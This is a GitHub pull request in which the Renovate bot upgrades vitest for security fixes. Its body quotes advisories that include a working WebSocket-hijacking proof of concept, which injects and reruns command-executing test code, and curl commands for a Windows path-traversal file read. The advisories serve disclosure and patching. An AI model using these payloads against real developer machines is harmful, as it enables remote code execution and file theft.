Skip to content

chore(deps): update dependency vitest to v3 [security] - #37

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-vitest-vulnerability
Open

chore(deps): update dependency vitest to v3 [security]#37
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-vitest-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Feb 7, 2025

Copy link
Copy Markdown

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
vitest (source) 2.1.43.2.6 age confidence

Warning

Some dependencies could not be looked up. Check the Dependency Dashboard for more information.


Vitest allows Remote Code Execution when accessing a malicious website while Vitest API server is listening

CVE-2025-24964 / GHSA-9crc-q9x8-hgqq

More information

Details

Summary

Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.

Details

When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46

This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76

PoC
  1. Open Vitest UI.
  2. Access a malicious web site with the script below.
  3. If you have calc executable in PATH env var (you'll likely have it if you are running on Windows), that application will be executed.
// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});

// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
    console.log(e.data)
})
ws.addEventListener('open', () => {
    ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))

    const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"

    // edit file content to inject command execution
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "saveTestFile",
      a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
    }))
    // rerun the tests to run the injected command execution code
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "rerun",
      a: [testFilePath]
    }))
})
Impact

This vulnerability can result in remote code execution for users that are using Vitest serve API.

Severity

  • CVSS Score: 9.6 / 10 (Critical)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


When Vitest UI server is listening, arbitrary file can be read and executed

CVE-2026-47429 / GHSA-5xrq-8626-4rwp

More information

Details

Summary

Arbitrary file can be read on Windows when Vitest UI server is listening, especially when exposed to the network.

Impact

Only users that match either of the following conditions are affected:

  • explicitly exposes the Vitest UI server to the network (using --api.host or api.host config option)
  • running the Vitest UI or Browser Mode on Windows
Details

The API handler for /__vitest_attachment__ uses the deprecated isFileServingAllowed incorrectly.
https://github.com/vitest-dev/vitest/blob/eb1abf08573032a532015b999ad3501c5e89e3bb/packages/ui/node/index.ts#L77
The function expects the passed value to use cleanUrl after the check before file system related operation.
Because of this, it is possible to bypass the check by \\?\\..\\. This is not possible on Linux as Linux errors if a directory named ? does not exist.

A similar problem exists in other places as well.

That said, this isFileServingAllowed check does not actually prevent the API to be abused. Since the API has rerun feature and file write feature, it's possible to run arbitrary script by writing a script as a test file using saveTestFile and running it using rerun. This means exposing the API / Vitest UI is equivalent to giving script execution access.
On the browser mode side, there're readFile / writeFile / saveSnapshotFile. So exposing the browser mode is equivalent to giving file read / write access.

PoC
  1. Run Vitest UI
  2. Get the API token by curl http://localhost:51204/__vitest__/
  3. Run curl "http://localhost:51204/__vitest_attachment__?path=C:\\path\\to\\project\\?\\..\\..\\secret.txt&amp;contentType=text/plain&amp;token=$TOKEN" (TOKEN is the API token)
  4. curl shows the content of secret.txt that is outside the project directory
Mitigations

Vitest now ships two configuration flags, allowWrite and allowExec, that gate the privileged operations exploited by this vulnerability. Both are disabled by default whenever the API server is bound to a non-localhost host, ensuring that exposing the server to the network no longer implicitly grants write or execute capabilities to remote clients.

When these flags are disabled, the UI also enters a read-only mode: in-browser code editing and test file execution are turned off, removing the attack surface that allowed remote code execution. Many Browser Mode features are also disabled, like attachments, artifacts or snapshots. See browser.api.

Users who require the full interactive UI on a networked host must explicitly opt in by setting allowWrite and/or allowExec to true.

Severity

  • CVSS Score: 9.8 / 10 (Critical)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

vitest-dev/vitest (vitest)

v3.2.6

Compare Source

v3.2.5

Compare Source

v3.2.4

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v3.2.3

Compare Source

   🚀 Features
   🐞 Bug Fixes
    View changes on GitHub

v3.2.2

Compare Source

   🚀 Features
   🐞 Bug Fixes
    View changes on GitHub

v3.2.1

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v3.2.0

Compare Source

   🚀 Features
   🐞 Bug Fixes
    View changes on GitHub

v3.1.4

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v3.1.3

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v3.1.2

Compare Source

   🐞 Bug Fixes
   🏎 Performance
    View changes on GitHub

v3.1.1

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v3.1.0

Compare Source

🚀 Features
🐞 Bug Fixes
🏎 Performance
View changes on GitHub

v3.0.9

Compare Source

   🐞 Bug Fixes

Note

PR body was truncated to here.


Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@sourcery-ai

sourcery-ai Bot commented Feb 7, 2025

Copy link
Copy Markdown

Reviewer's Guide by Sourcery

This PR updates the vitest dependency from v2.1.4 to v2.1.9 to address a security vulnerability (CVE-2025-24964) involving arbitrary remote code execution via cross-site WebSocket hijacking. The changes are implemented by modifying version numbers in both the package manifest and the lockfile, ensuring that vitest and its associated packages are consistently updated.

No diagrams generated as the changes look simple and do not need a visual representation.

File-Level Changes

Change Details Files
Update vitest dependency and related packages to v2.1.9
  • Bump vitest version in the package.json file from 2.1.4 to 2.1.9
  • Update multiple vitest-related packages (e.g., @vitest/expect, @vitest/mocker, @vitest/pretty-format, @vitest/runner, @vitest/snapshot, @vitest/spy, and @vitest/utils) in the lockfile to the latest version
  • Adjust dependency resolutions in frontend/pnpm-lock.yaml, including changes for vite-node and vitest, to reflect the updated version
frontend/package.json
frontend/pnpm-lock.yaml

Tips and commands

Interacting with Sourcery

  • Trigger a new review: Comment @sourcery-ai review on the pull request.
  • Continue discussions: Reply directly to Sourcery's review comments.
  • Generate a GitHub issue from a review comment: Ask Sourcery to create an
    issue from a review comment by replying to it. You can also reply to a
    review comment with @sourcery-ai issue to create an issue from it.
  • Generate a pull request title: Write @sourcery-ai anywhere in the pull
    request title to generate a title at any time. You can also comment
    @sourcery-ai title on the pull request to (re-)generate the title at any time.
  • Generate a pull request summary: Write @sourcery-ai summary anywhere in
    the pull request body to generate a PR summary at any time exactly where you
    want it. You can also comment @sourcery-ai summary on the pull request to
    (re-)generate the summary at any time.
  • Generate reviewer's guide: Comment @sourcery-ai guide on the pull
    request to (re-)generate the reviewer's guide at any time.
  • Resolve all Sourcery comments: Comment @sourcery-ai resolve on the
    pull request to resolve all Sourcery comments. Useful if you've already
    addressed all the comments and don't want to see them anymore.
  • Dismiss all Sourcery reviews: Comment @sourcery-ai dismiss on the pull
    request to dismiss all existing Sourcery reviews. Especially useful if you
    want to start fresh with a new review - don't forget to comment
    @sourcery-ai review to trigger a new review!
  • Generate a plan of action for an issue: Comment @sourcery-ai plan on
    an issue to generate a plan of action for it.

Customizing Your Experience

Access your dashboard to:

  • Enable or disable review features such as the Sourcery-generated pull request
    summary, the reviewer's guide, and others.
  • Change the review language.
  • Add, remove or edit custom review instructions.
  • Adjust other review settings.

Getting Help

@coderabbitai

coderabbitai Bot commented Feb 7, 2025

Copy link
Copy Markdown

Important

Review skipped

Bot user detected.

To trigger a single review, invoke the @coderabbitai review command.

You can disable this status message by setting the reviews.review_status to false in the CodeRabbit configuration file.

  • 🔍 Trigger a full review

Comment @coderabbitai help to get the list of available commands and usage tips.

@sourcery-ai sourcery-ai Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

We have skipped reviewing this pull request. It seems to have been created by a bot (hey, renovate[bot]!). We assume it knows what it's doing!

@codiumai-pr-agent-free

Copy link
Copy Markdown

CI Feedback 🧐

A test triggered by this PR failed. Here is an AI-generated analysis of the failure:

Action: go-tests

Failed stage: [❌]

Failure summary:

The action failed because no GitHub runner was available to execute the job. The system was waiting
for a runner to pick up the job but timed out or was interrupted.

Relevant error logs:
1:  Job defined at: khulnasoft/devsecdb/.github/workflows/test_link.yml@refs/pull/37/merge
2:  Waiting for a runner to pick up this job...

@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 18b2133 to ebadddb Compare September 25, 2025 06:53
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from ebadddb to abf3b6f Compare January 1, 2026 00:06
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from abf3b6f to a827b9c Compare February 3, 2026 04:12
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from a827b9c to c0493e2 Compare February 13, 2026 12:07
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from c0493e2 to 2f95981 Compare May 1, 2026 04:58
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 2f95981 to fe3104b Compare May 23, 2026 07:15
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from fe3104b to 0aed216 Compare July 25, 2026 07:56
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 0aed216 to 8361377 Compare August 16, 2026 07:02
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 8361377 to b27a180 Compare August 29, 2026 05:59
@renovate renovate Bot changed the title chore(deps): update dependency vitest to v2.1.9 [security] chore(deps): update dependency vitest to v3 [security] Aug 29, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants